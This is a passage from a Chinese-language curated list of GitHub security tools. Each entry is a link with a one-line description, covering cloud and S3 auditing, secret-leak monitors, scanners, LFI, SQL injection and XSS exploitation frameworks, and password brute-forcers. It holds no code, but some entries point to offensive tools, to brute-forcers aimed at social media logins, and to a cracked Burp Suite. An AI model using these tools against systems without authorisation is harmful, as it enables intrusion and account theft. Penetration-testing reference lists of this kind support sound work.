&lt;li&gt;https://github.com/stuhirst/awssecurity/blob/master/arsenal.md AWS 安全检测相关的项目列表&lt;/li&gt;
&lt;li&gt;https://github.com/toniblyx/my-arsenal-of-aws-security-tools AWS 安全工具集&lt;/li&gt;
&lt;li&gt;https://github.com/sa7mon/S3Scanner 扫描 amazon 公开的 S3 buckets 和 dump&lt;/li&gt;
&lt;li&gt;https://github.com/kromtech/s3-inspector 检测亚马逊 AWS S3 bucket permissions&lt;/li&gt;
&lt;li&gt;https://github.com/jordanpotti/AWSBucketDump 枚举 AWS S3 buckets 以查找敏感机密的文件&lt;/li&gt;
&lt;li&gt;https://github.com/sa7mon/S3Scanner 扫描 amazon 公开的 S3 buckets 和 dump&lt;/li&gt;
&lt;li&gt;https://github.com/kromtech/s3-inspector 检测亚马逊 AWS S3 bucket permissions&lt;/li&gt;
&lt;li&gt;https://github.com/jordanpotti/AWSBucketDump 枚举 AWS S3 buckets 以查找敏感机密的文件&lt;/li&gt;
&lt;li&gt;https://github.com/Netflix/repokid AWS 最低权限策略部署工具&lt;/li&gt;
&lt;li&gt;https://github.com/RhinoSecurityLabs/pacu AWS 漏洞检测框架&lt;/li&gt;
&lt;li&gt;https://github.com/0xbug/Hawkeye GitHub 泄露监控系统&lt;/li&gt;
&lt;li&gt;https://github.com/neal1991/gshark github 信息泄露检测&lt;/li&gt;
&lt;li&gt;https://github.com/VKSRC/Github-Monitor GitHub 监控，代码信息泄露，分钟级监控，邮件预警&lt;/li&gt;
&lt;li&gt;https://github.com/metac0rtex/GitHarvester github Repo 信息搜集工具&lt;/li&gt;
&lt;li&gt;https://github.com/repoog/GitPrey GitHub 敏感信息扫描工具&lt;/li&gt;
&lt;li&gt;https://github.com/FeeiCN/GSIL py3，近实时监控 Github 敏感信息，并发送告警通知。&lt;/li&gt;
&lt;li&gt;https://github.com/UnkL4b/GitMiner github 敏感内容挖掘&lt;/li&gt;
&lt;li&gt;https://github.com/dxa4481/truffleHog GitHub 敏感信息扫描工具,包括检测 commit 等&lt;/li&gt;
&lt;li&gt;https://github.com/Hell0W0rld0/Github-Hunter github 信息监测脚本&lt;/li&gt;
&lt;li&gt;https://github.com/awslabs/git-secrets 防止将敏感数据提交到 git 仓库的工具&lt;/li&gt;
&lt;li&gt;https://github.com/zricethezav/gitleaks 基于 go 的，检查 git repo 中的密码信息和密钥&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head32&quot;&amp;gt; 目录路径发现&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/maurosoria/dirsearch 经典目录路径扫描&lt;/li&gt;
&lt;li&gt;https://github.com/TheM4hd1/PenCrawLer C#界面，web 爬虫与目录路径爆破工具，除了常规扫描增加了递归爆破模式&lt;/li&gt;
&lt;li&gt;https://github.com/Xyntax/DirBrute 目录路径爆破工具&lt;/li&gt;
&lt;li&gt;https://github.com/abaykan/crawlbox 目录路径路径扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/deibit/cansina 目录路径路径扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/UltimateHackers/Breacher 多线程的后台路径扫描器，也可用于发现 Execution After Redirect 漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/fnk0c/cangibrina 通过字典穷举、google、robots.txt 等途径的跨平台后台管理路径扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/Go0s/SitePathScan 基于协程的目录路径爆破工具，配合 aiohttp 扫描路径比之前快了三倍有余&lt;/li&gt;
&lt;li&gt;https://github.com/secfree/bcrpscan 基于爬虫的 web 路径扫描器&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head33&quot;&amp;gt; 本地文件包含漏洞&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/hvqzao/liffy 本地文件包含漏洞利用工具&lt;/li&gt;
&lt;li&gt;https://github.com/D35m0nd142/Kadabra 本地文件包含漏洞扫描和利用工具&lt;/li&gt;
&lt;li&gt;https://github.com/P0cL4bs/Kadimus 本地文件包含漏洞扫描和利用工具&lt;/li&gt;
&lt;li&gt;https://github.com/D35m0nd142/LFISuite 本地文件包含漏洞利用及扫描工具，支持反弹 shell&lt;/li&gt;
&lt;li&gt;https://github.com/OsandaMalith/LFiFreak 本地文件包含漏洞利用及扫描工具，支持反弹 shell&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head34&quot;&amp;gt; 安全测试与扫描器框架&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/zaproxy/zaproxy The OWASP ZAP core project 出品的综合性渗透测试工具。由于其流量代理、请求重放和可扩展性拿来做模糊测试未尝不可&lt;/li&gt;
&lt;li&gt;https://github.com/x-Ai/BurpUnlimitedre burpsuite 1.7.27 的永久破解版&lt;/li&gt;
&lt;li&gt;https://github.com/andresriancho/w3af 知名插件化扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/juansacco/exploitpack 渗透测试集成框架，包含超过 38,000+ exploits&lt;/li&gt;
&lt;li&gt;https://github.com/Lucifer1993/AngelSword Web 应用漏洞扫描框架,python3，300poc&lt;/li&gt;
&lt;li&gt;https://github.com/Xyntax/POC-T 渗透测试插件化扫描框架，自带 poc，并发扫描&lt;/li&gt;
&lt;li&gt;https://github.com/knownsec/Pocsuite 知道创宇维护的一个规范化 POC/EXP 利用框架&lt;/li&gt;
&lt;li&gt;https://github.com/leisurelicht/Pocsuite3 Pocsuite 用 py3 重写&lt;/li&gt;
&lt;li&gt;https://github.com/Eitenne/roxysploit 漏洞利用框架，支持永恒之蓝直接利用&lt;/li&gt;
&lt;li&gt;https://github.com/TophantTechnology/osprey 斗象能力中心出品并长期维护的一个规范化 POC/EXP 利用框架&lt;/li&gt;
&lt;li&gt;https://github.com/he1m4n6a/btScan 大黑阔的插件化漏洞利用工具&lt;/li&gt;
&lt;li&gt;https://github.com/boy-hack/w9scan python 下内置 1200+插件可对网站进行一次规模的检测&lt;/li&gt;
&lt;li&gt;https://github.com/WooYun/TangScan 乌云维护的一个规范化 POC/EXP 利用框架&lt;/li&gt;
&lt;li&gt;https://github.com/n0tr00t/Beebeeto-framework Beebeeto 是由众多安全研究人员所共同维护的一个规范化 POC/EXP 利用框架&lt;/li&gt;
&lt;li&gt;https://github.com/erevus-cn/pocscan 一款开源 Poc 调用框架,可轻松调用 Pocsuite,Tangscan,Beebeeto,Knowsec 老版本 POC，可使用 docker 部署&lt;/li&gt;
&lt;li&gt;https://github.com/DavexPro/PocHunter 借鉴 pocscan 的一款多利用框架 poc 适配框架&lt;/li&gt;
&lt;li&gt;https://github.com/theInfectedDrake/TIDoS-Framework 覆盖从侦察到漏洞分析的所有内容&lt;/li&gt;
&lt;li&gt;https://github.com/gyoisamurai/GyoiThon 使用深度学习的渗透测试工具, 从每次扫描数据中学习, 扫描越多, 软件检测精准度越高&lt;/li&gt;
&lt;li&gt;https://github.com/euphrat1ca/polar-scan 易语言的北极熊扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/euphrat1ca/yeezy-scan 椰树 1.9 扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/euphrat1ca/WebCruiserWVS 轻量级基于 C#的扫描器，椰树扫描器的前身&lt;/li&gt;
&lt;li&gt;https://github.com/Skycrab/leakScan web 界面，漏洞扫描&lt;/li&gt;
&lt;li&gt;https://github.com/az0ne/AZScanner web 界面，自动漏洞扫描器，子域名爆破，端口扫描，目录爆破，常用框架漏洞检测&lt;/li&gt;
&lt;li&gt;https://github.com/boy-hack/w8scan web 界面，基于 bugscan 扫描和架构思想的扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/MiniSafe/microweb web 界面，base bugscan，django&lt;/li&gt;
&lt;li&gt;https://github.com/taipan-scanner/Taipan web 界面，基于 F#与 C#的安全扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/zhangzhenfeng/AnyScan web 界面，python 漏洞扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/Canbing007/wukong-agent web 界面，python 漏洞扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/dermotblair/webvulscan web 界面，php，漏洞扫描器，支持输出 pdf 报告&lt;/li&gt;
&lt;li&gt;https://github.com/jeffzh3ng/InsectsAwake web 界面，基于 Flask 应用框架的漏洞扫描系统，同时集成了渗透测试常用的端口扫描、子域名爆破等功能，后端漏洞扫描采用 Pocsuite&lt;/li&gt;
&lt;li&gt;https://github.com/0xInfection/TIDoS-Framework py，linux，网站扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/secdec/adapt py,linux，网站扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/sullo/nikto perl，linux，kali 内置的网站扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/Ekultek/Zeus-Scanner web 扫描器，联动 Geckodriver，nmap 和 sqlmap&lt;/li&gt;
&lt;li&gt;https://github.com/blackye/lalascan 集合 owasp top10 漏洞扫描和边界资产发现能力的分布式 web 漏洞扫描框架&lt;/li&gt;
&lt;li&gt;https://github.com/blackye/BkScanner BkScanner 分布式、插件化 web 漏洞扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/tlkh/prowler 一款基于 Raspberry Pi Cluster 的网络漏洞扫描工具&lt;/li&gt;
&lt;li&gt;https://github.com/netxfly/passive_scan 基于 http 代理的 web 漏洞扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/1N3/Sn1per php，自动化中间件扫描以及设备指纹识别&lt;/li&gt;
&lt;li&gt;https://github.com/Tuhinshubhra/RED_HAWK php，集成信息收集、漏洞扫描、指纹识别等的扫描工具&lt;/li&gt;
&lt;li&gt;https://github.com/m4ll0k/Spaghetti web 应用扫描器，支持指纹识别、文件目录爆破、SQL/XSS/RFI 等漏洞扫描，也可直接用于 struts、ShellShock 等漏洞扫描&lt;/li&gt;
&lt;li&gt;https://github.com/v3n0m-Scanner/V3n0M-Scanner 支持检测 SQLi/XSS/LFI/RFI 等漏洞的扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/Yukinoshita47/Yuki-Chan-The-Auto-Pentest 集成子域名枚举、nmap、waf 指纹识别等模块的 web 应用扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/RASSec/pentestEr_Fully-automatic-scanner 定向自动测试工具&lt;/li&gt;
&lt;li&gt;https://github.com/Fireflyi/lcyscan py，插件化漏洞扫描器，支持生成报表&lt;/li&gt;
&lt;li&gt;https://github.com/Arachni/arachni Web 应用漏洞扫描框架，支持 REST、RPC 等 api 调用&lt;/li&gt;
&lt;li&gt;https://github.com/swisskyrepo/DamnWebScanner 基于 chrome/opera 插件的被动式漏洞扫描&lt;/li&gt;
&lt;li&gt;https://github.com/0xsauby/yasuo ruby,扫描主机第三方 web 应用服务漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/yangbh/Hammer Web 应用漏洞扫描&lt;/li&gt;
&lt;li&gt;https://github.com/viraintel/OWASP-Nettacker 自动化渗透测试框架&lt;/li&gt;
&lt;li&gt;https://github.com/flipkart-incubator/watchdog 全面的 web 扫描器与漏洞利用工具&lt;/li&gt;
&lt;li&gt;https://github.com/Fplyth0ner-Combie/Bug-Project-Framework 易语言，模仿 msf 的漏洞利用框架，自带 exp 编辑器&lt;/li&gt;
&lt;li&gt;https://github.com/PowerScript/KatanaFramework py，模仿 msf 的漏洞利用框架，还有些 ssh、压缩包破解工具&lt;/li&gt;
&lt;li&gt;https://github.com/m4ll0k/Galileo py2，网站扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/samhaxr/hackbox py2，simple，网站扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/secrary/EllaScanner py3，simple，被动式漏洞扫描，支持历史 cve 编号漏洞识别&lt;/li&gt;
&lt;li&gt;https://github.com/m4ll0k/WAScan py，simple，扫描页面/链接/脚本/Form, 测试 Payload 等&lt;/li&gt;
&lt;li&gt;https://github.com/jiangsir404/S7scan py,已用 1，七种综合检测&lt;/li&gt;
&lt;li&gt;https://github.com/hatRiot/clusterd py，simple，web 漏洞利用&lt;/li&gt;
&lt;li&gt;https://github.com/M4cs/BabySploit py,simple,模仿 msf&lt;/li&gt;
&lt;li&gt;https://github.com/iceyhexman/onlinetools simple，web 界面，在线 cms 指纹识别|旁站|c 段|信息泄露|工控|系统|物联网安全|cms 漏洞扫描|端口扫描|等&lt;/li&gt;
&lt;li&gt;https://github.com/tulpar/tulpar simple,支持多种 web 漏洞扫描&lt;/li&gt;
&lt;li&gt;https://github.com/UltimateHackers/Striker simple，信息搜集、cms 利用与漏扫，侦察绕过 Cloudflare&lt;/li&gt;
&lt;li&gt;https://github.com/0x4D31/salt-scanner 基于 Salt Open 以及 Vulners Linux Audit API 的 linux 漏洞扫描器，支持与 JIRA、slack 平台结合使用&lt;/li&gt;
&lt;li&gt;https://github.com/opensec-cn/kunpeng go，POC 检测框架，以动态链接库的形式提供各种语言调用&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head35&quot;&amp;gt; 运维安全服务与资产管理&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/chaitin/cloudwalker CloudWalker（牧云）服务器安全管理平台，逐步覆盖服务器资产管理、威胁扫描、Webshell 查杀、基线检测等功能。&lt;/li&gt;
&lt;li&gt;https://github.com/mitre/caldera mitre 公司模拟攻击测试系统，主要是在 win 下&lt;/li&gt;
&lt;li&gt;https://github.com/guardicore/monkey 评估网络安全状况，分为扫描器与 C2C 服务器，利用默认口令与 exp 对 ssh、smb 等多种协议方式进行攻击检测&lt;/li&gt;
&lt;li&gt;https://github.com/grayddq/PublicSecScan 调用 awvs 对大量 WEB 资产进行分布式 WEB 安全扫描，发现 web 环境下常规的一些安全漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/jeffzh3ng/Fuxi-Scanner 资产管理，漏洞检测集成 awvs、创宇 Pocsuite、nmap、hydra&lt;/li&gt;
&lt;li&gt;https://github.com/infobyte/faraday 协作渗透测试和漏洞管理平台，集成多种&lt;/li&gt;
&lt;li&gt;https://github.com/DefectDojo/django-DefectDojo 基于 django 的漏洞资产管理平台&lt;/li&gt;
&lt;li&gt;https://github.com/creditease-sec/insight web 界面，宜信安全部开发，集成应用系统资产管理、漏洞全生命周期管理、安全知识库管理三位一体的管理平台&lt;/li&gt;
&lt;li&gt;https://github.com/RASSec/A_Scan_Framework 漏洞管理、资产管理、任务扫描系统&lt;/li&gt;
&lt;li&gt;https://github.com/cea-sec/ivre 网络资产指纹发现，搭建属于自己的 shodan 与 zoomeye&lt;/li&gt;
&lt;li&gt;https://github.com/ysrc/xunfeng web 界面，同程安全开发的网络资产识别引擎，漏洞检测引擎&lt;/li&gt;
&lt;li&gt;https://github.com/superhuahua/xunfengES web 界面，base 巡风开发，一个人的安全&lt;/li&gt;
&lt;li&gt;https://github.com/zhaoweiho/SecurityManageFramwork py3，django。企业内网安全管理平台，包含资产管理，漏洞管理，账号管理，知识库管、安全扫描自动化功能模块&lt;/li&gt;
&lt;li&gt;https://github.com/grayddq/PublicMonitors 对公网 IP 列表进行端口服务扫描，发现周期内的端口服务变化情况和弱口令安全风险。一个人的安全部&lt;/li&gt;
&lt;li&gt;https://github.com/grayddq/PubilcAssetInfo 主要目标是以甲方安全人员的视角，尽可能收集发现企业的域名和服务器公网 IP 资产。如百度云、阿里云、腾讯云等。一个人的安全部&lt;/li&gt;
&lt;li&gt;https://github.com/maya6/SiteScan web 界面，py3 celery。资产收集&lt;/li&gt;
&lt;li&gt;https://github.com/ywolf/F-NAScan py2.6，网络资产、端口服务搜集整理，生成报表显示。快速&lt;/li&gt;
&lt;li&gt;https://github.com/flipkart-incubator/RTA 扫描公司内部所有在线设备, 提供整体安全视图, 标示所有安全异常&lt;/li&gt;
&lt;li&gt;https://github.com/0xbug/Biu-framework 企业内网基础服务安全扫描框架&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head36&quot;&amp;gt; 上传漏洞利用&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/UltimateHackers/Arjun 扫描网页, 使用正则表达式爆破查找隐藏的 GET/POST 参数&lt;/li&gt;
&lt;li&gt;https://github.com/3xp10it/xupload 用于自动测试上传功能是否可上传 webshell 的工具&lt;/li&gt;
&lt;li&gt;https://github.com/gunnerstahl/JQShell py3，CVE-2018-9206 jQuery File Upload 利用工具&lt;/li&gt;
&lt;li&gt;https://github.com/destine21/ZIPFileRaider burp 插件，测试 zip 文件上传漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/jpiechowka/zip-shotgun py，测试 zip 文件上传漏洞&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head37&quot;&amp;gt; 端口发现服务指纹识别&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/nmap/nmap LUA,Nmap 端口扫描器，具有有强大的脚本引擎框架&lt;/li&gt;
&lt;li&gt;https://github.com/robertdavidgraham/masscan C,无状态扫描，可以调用 nmap 进行指纹识别&lt;/li&gt;
&lt;li&gt;https://github.com/zmap/zmap C,无状态扫描，需要用 C 编写扩展模块&lt;/li&gt;
&lt;li&gt;https://github.com/zmap/zgrab go，基于 zmap 扫描器进行指纹识别、调度管理，可绕过 CDN&lt;/li&gt;
&lt;li&gt;https://github.com/chichou/grab.js 类似 zgrab 的快速 TCP 指纹抓取解析工具，支持更多协议&lt;/li&gt;
&lt;li&gt;https://github.com/johnnyxmas/scancannon shell,联动 masscan 和 nmap&lt;/li&gt;
&lt;li&gt;https://github.com/OffensivePython/Nscan 基于 Masscan 和 Zmap 的网络扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/ring04h/wyportmap 调用 nmap 目标端口扫描+系统服务指纹识别&lt;/li&gt;
&lt;li&gt;https://github.com/angryip/ipscan Angry IP Scanner，跨平台界面化端口扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/EnableSecurity/wafw00f WAF 产品指纹识别&lt;/li&gt;
&lt;li&gt;https://github.com/rbsec/sslscan ssl 类型识别&lt;/li&gt;
&lt;li&gt;https://github.com/urbanadventurer/whatweb web 指纹识别&lt;/li&gt;
&lt;li&gt;https://github.com/Rvn0xsy/FastWhatWebSearch whatweb 工具结果搜索平台&lt;/li&gt;
&lt;li&gt;https://github.com/tanjiti/FingerPrint web 应用指纹识别&lt;/li&gt;
&lt;li&gt;https://github.com/nanshihui/Scan-T 网络爬虫式指纹识别&lt;/li&gt;
&lt;li&gt;https://github.com/ywolf/F-MiddlewareScan 中间件扫描服务识别&lt;/li&gt;
&lt;li&gt;https://github.com/lietdai/doom thorn 上实现的分布式任务分发的 ip 端口漏洞扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/RASSec/RASscan 端口服务扫描&lt;/li&gt;
&lt;li&gt;https://github.com/m3liot/shcheck 用于检查 web 服务的 http header 的安全性&lt;/li&gt;
&lt;li&gt;https://github.com/mozilla/ssh_scan 服务器 ssh 配置信息扫描&lt;/li&gt;
&lt;li&gt;https://github.com/18F/domain-scan 针对域名及其子域名的资产数据检测／扫描，包括 http/https 检测等&lt;/li&gt;
&lt;li&gt;https://github.com/ggusoft/inforfinder 域名资产收集及指纹识别工具&lt;/li&gt;
&lt;li&gt;https://github.com/0xbug/Howl 网络设备 web 服务指纹扫描与检索&lt;/li&gt;
&lt;li&gt;https://github.com/mozilla/cipherscan 目标主机服务 ssl 类型识别&lt;/li&gt;
&lt;li&gt;https://github.com/medbenali/CyberScan 渗透测试辅助工具，支持分析数据包、解码、端口扫描、IP 地址分析等&lt;/li&gt;
&lt;li&gt;https://github.com/jekyc/wig web 应用信息搜集工具&lt;/li&gt;
&lt;li&gt;https://github.com/eldraco/domain_analyzer 围绕 web 服务的域名进行信息收集和&quot;域传送&quot;等漏洞扫描，也支持针对背后的服务器端口扫描等&lt;/li&gt;
&lt;li&gt;https://github.com/cloudtracer/paskto 基于 Nikto 扫描规则的被动式路径扫描以及信息爬虫&lt;/li&gt;
&lt;li&gt;https://github.com/zerokeeper/WebEye 快速识别 WEB 服务器类型、CMS 类型、WAF 类型、WHOIS 信息、以及语言框架&lt;/li&gt;
&lt;li&gt;https://github.com/n4xh4ck5/CMSsc4n CMS 指纹识别&lt;/li&gt;
&lt;li&gt;https://github.com/HA71/WhatCMS CMS 检测和漏洞利用脚本, 基于 Whatcms.org API&lt;/li&gt;
&lt;li&gt;https://github.com/boy-hack/gwhatweb CMS 识别 python gevent 实现&lt;/li&gt;
&lt;li&gt;https://github.com/wpscanteam/wpscan 基本算是 word press 下最好用的工具了&lt;/li&gt;
&lt;li&gt;https://github.com/swisskyrepo/Wordpresscan 基于 WPScan 以及 WPSeku 的优化版 wordpress 扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/m4ll0k/WPSeku 精简的 wordpress 扫描工具&lt;/li&gt;
&lt;li&gt;https://github.com/rastating/wordpress-exploit-framework wordpress 漏洞利用框架&lt;/li&gt;
&lt;li&gt;https://github.com/Jamalc0m/wphunter php，wordpress 扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/UltimateLabs/Zoom wordpress 漏洞扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/immunIT/drupwn Drupal 信息收集与漏洞利用工具&lt;/li&gt;
&lt;li&gt;https://github.com/CHYbeta/cmsPoc CMS 渗透测试框架&lt;/li&gt;
&lt;li&gt;https://github.com/chuhades/CMS-Exploit-Framework CMS 攻击框架&lt;/li&gt;
&lt;li&gt;https://github.com/Tuhinshubhra/CMSeeK 20 多种 CMS 的基本检测，针对 wp 利用、可定制模块化爆破功能&lt;/li&gt;
&lt;li&gt;https://github.com/Dionach/CMSmap 支持 WordPress，Joomla 和 Drupal 扫描&lt;/li&gt;
&lt;li&gt;https://github.com/Moham3dRiahi/XAttacker Web CMS Exploit 工具,包含针对主流 CMS 的 66 个不同的 Exploits&lt;/li&gt;
&lt;li&gt;https://github.com/code-scan/dzscan 首款集成化的 Discuz 扫描工具&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head38&quot;&amp;gt; 数据库扫描与爆破&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/ron190/jsql-injection Java 编写的 SQL 注入工具&lt;/li&gt;
&lt;li&gt;https://github.com/shack2/SuperSQLInjectionV1 安恒航牛的一款界面化注入工具&lt;/li&gt;
&lt;li&gt;https://github.com/sqlmapproject/sqlmap sql 注入 sqlmap&lt;/li&gt;
&lt;li&gt;https://github.com/stamparm/DSSS 已用 1,99 行代码实现的 sql 注入漏洞扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/Hadesy2k/sqliv 已用 1,基于搜索引擎的批量 SQL 注入漏洞扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/quentinhardy/odat 一款专门用于 Oracle 渗透的很全面的工具&lt;/li&gt;
&lt;li&gt;https://github.com/m8r0wn/enumdb MySQL 和 MSSQL 利用工具后期爆破、搜索数据库并提取敏感信息。&lt;/li&gt;
&lt;li&gt;https://github.com/LoRexxar/Feigong 针对各种情况自由变化的 MySQL 注入脚本&lt;/li&gt;
&lt;li&gt;https://github.com/youngyangyang04/NoSQLAttack 一款针对 mongoDB 的攻击工具&lt;/li&gt;
&lt;li&gt;https://github.com/Neohapsis/bbqsql SQL 盲注利用框架&lt;/li&gt;
&lt;li&gt;https://github.com/NetSPI/PowerUpSQL 基于 Powershell 的 sqlserver 测试框架&lt;/li&gt;
&lt;li&gt;http://www.4hou.com/system/14950.html 利用 PowerUpSQL，渗透测试技巧：绕过 SQL Server 登录触发器限制&lt;/li&gt;
&lt;li&gt;https://github.com/WhitewidowScanner/whitewidow 一款数据库扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/stampery/mongoaudit MongoDB 审计及渗透工具&lt;/li&gt;
&lt;li&gt;https://github.com/torque59/Nosql-Exploitation-Framework NoSQL 扫描/爆破工具&lt;/li&gt;
&lt;li&gt;https://github.com/missDronio/blindy MySQL 盲注爆破工具&lt;/li&gt;
&lt;li&gt;https://github.com/JohnTroony/Blisqy 用于 http header 中的时间盲注爆破工具，仅针对 MySQL/MariaDB&lt;/li&gt;
&lt;li&gt;https://github.com/se55i0n/DBScanner 自动扫描内网中常见 sql、no-sql 数据库脚本，包含未授权访问及常规弱口令检测&lt;/li&gt;
&lt;li&gt;https://github.com/Turr0n/firebase 对没有正确配置的 firebase 数据库进行利用&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head39&quot;&amp;gt;XSS 跨站脚本检测利用&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/UltimateHackers/AwesomeXSS XSS Awesome 系列&lt;/li&gt;
&lt;li&gt;http://www.xss-payloads.com 很全面的 xss 工具包与资料&lt;/li&gt;
&lt;li&gt;https://github.com/ismailtasdelen/xss-payload-list XSS 漏洞 Payload 列表&lt;/li&gt;
&lt;li&gt;https://github.com/beefproject/beef 经典的 xss 利用框架&lt;/li&gt;
&lt;li&gt;https://github.com/samdenty99/injectify 类似 beef 的 xss 利用框架&lt;/li&gt;
&lt;li&gt;https://github.com/firesunCN/BlueLotus_XSSReceiver 蓝莲花战队为 CTF 打造的 xss 利用框架&lt;/li&gt;
&lt;li&gt;https://github.com/NytroRST/XSSFuzzer 根据特定标签生成 xss payload&lt;/li&gt;
&lt;li&gt;https://github.com/evilcos/xssor2 余弦写的 xss 利用辅助工具&lt;/li&gt;
&lt;li&gt;https://github.com/UltimateHackers/XSStrike 可识别并绕过 WAF 的 XSS 扫描工具&lt;/li&gt;
&lt;li&gt;https://github.com/raz-varren/xsshell go,利用 xss 漏洞返回一个 js 交互 shell&lt;/li&gt;
&lt;li&gt;https://github.com/UltimateHackers/JShell 利用 xss 漏洞返回一个 js 交互 shell&lt;/li&gt;
&lt;li&gt;https://github.com/shawarkhanethicalhacker/BruteXSS 一款 XSS 扫描器,可暴力注入参数&lt;/li&gt;
&lt;li&gt;https://github.com/1N3/XSSTracer 小型 XSS 扫描器,也可检测 CRLF、XSS、点击劫持的&lt;/li&gt;
&lt;li&gt;https://github.com/0x584A/fuzzXssPHP PHP 版本的反射型 xss 扫描&lt;/li&gt;
&lt;li&gt;https://github.com/chuhades/xss_scan 批量扫描 XSS 的 python 脚本&lt;/li&gt;
&lt;li&gt;https://github.com/BlackHole1/autoFindXssAndCsrf 自动化检测页面是否存在 XSS 和 CSRF 漏洞的浏览器插件&lt;/li&gt;
&lt;li&gt;https://github.com/shogunlab/shuriken 使用命令行进行 XSS 批量检测&lt;/li&gt;
&lt;li&gt;https://github.com/stamparm/DSXS 支持 GET、POST 方式的高效 XSS 扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/bsmali4/xssfork kali 下无法使用的话，请下载正确的 PhantomJS 到目录 thirdparty/phantomjs/Linux&lt;/li&gt;
&lt;li&gt;https://github.com/riusksk/FlashScanner flash xss 扫描&lt;/li&gt;
&lt;li&gt;https://github.com/Damian89/xssfinder 针对检测网站中的反射 XSS&lt;/li&gt;
&lt;li&gt;https://github.com/BlackHole1/WebRtcXSS 自动化利用 XSS 入侵内网&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head40&quot;&amp;gt; 弱口令扫描爆破&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/vanhauser-thc/thc-hydra 支持多种协议方式的破解与爆破，v8 以后就不提供 windows 版本了&lt;/li&gt;
&lt;li&gt;https://github.com/nmap/ncrack c，支持多种协议的破解与爆破&lt;/li&gt;
&lt;li&gt;https://github.com/0pn1i9ht/F-Scrack ysrc 对各类服务用户名密码爆破的脚本&lt;/li&gt;
&lt;li&gt;https://github.com/TunisianEagles/SocialBox 针对 fb、gmail、ins、twitter 的用户名密码爆破的脚本&lt;/li&gt;
&lt;li&gt;https://github.com/lanjelot/patator 支持多种协议的爆破，采用模块化设计，使用灵活&lt;/li&gt;
&lt;li&gt;https://github.com/m4ll0k/SMBrute 利用 smb 服务进行用户名密码爆破&lt;/li&gt;
&lt;li&gt;https://github.com/netxfly/crack_ssh Go 写的协程版的 ssh\redis\mongodb 弱口令破解&lt;/li&gt;
&lt;li&gt;https://github.com/UltimateHackers/Blazy 支持测试 CSRF, Clickjacking, Cloudflare and WAF 的弱口令探测器&lt;/li&gt;
&lt;li&gt;https://github.com/Moham3dRiahi/XBruteForcer WordPress、Joomla、DruPal、OpenCart、Magento 等 CMS 用户密码爆破&lt;/li&gt;
&lt;li&gt;https://github.com/shengqi158/weak_password_detect Linux 下利用 nmap 多线程探测 ssh 弱口令&lt;/li&gt;
&lt;li&gt;https://github.com/ztgrace/changeme 弱口令扫描器，不仅支持普通登录页，也支持 ssh、mongodb 等组件&lt;/li&gt;
&lt;li&gt;https://github.com/lijiejie/htpwdScan simple，http 暴力破解、撞库攻击脚本&lt;/li&gt;
&lt;li&gt;https://github.com/scu-igroup/ssh-scanner 联动 nmap、hydra 对 ssh 批量爆破&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head41&quot;&amp;gt; 密码破解还原&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://securityxploded.com/download.php 各种密码方向安全小工具&lt;/li&gt;
&lt;li&gt;https://github.com/bdutro/ibm_pw_clear IBM x3550/x3560 M3 bios 密码清除重置工具&lt;/li&gt;
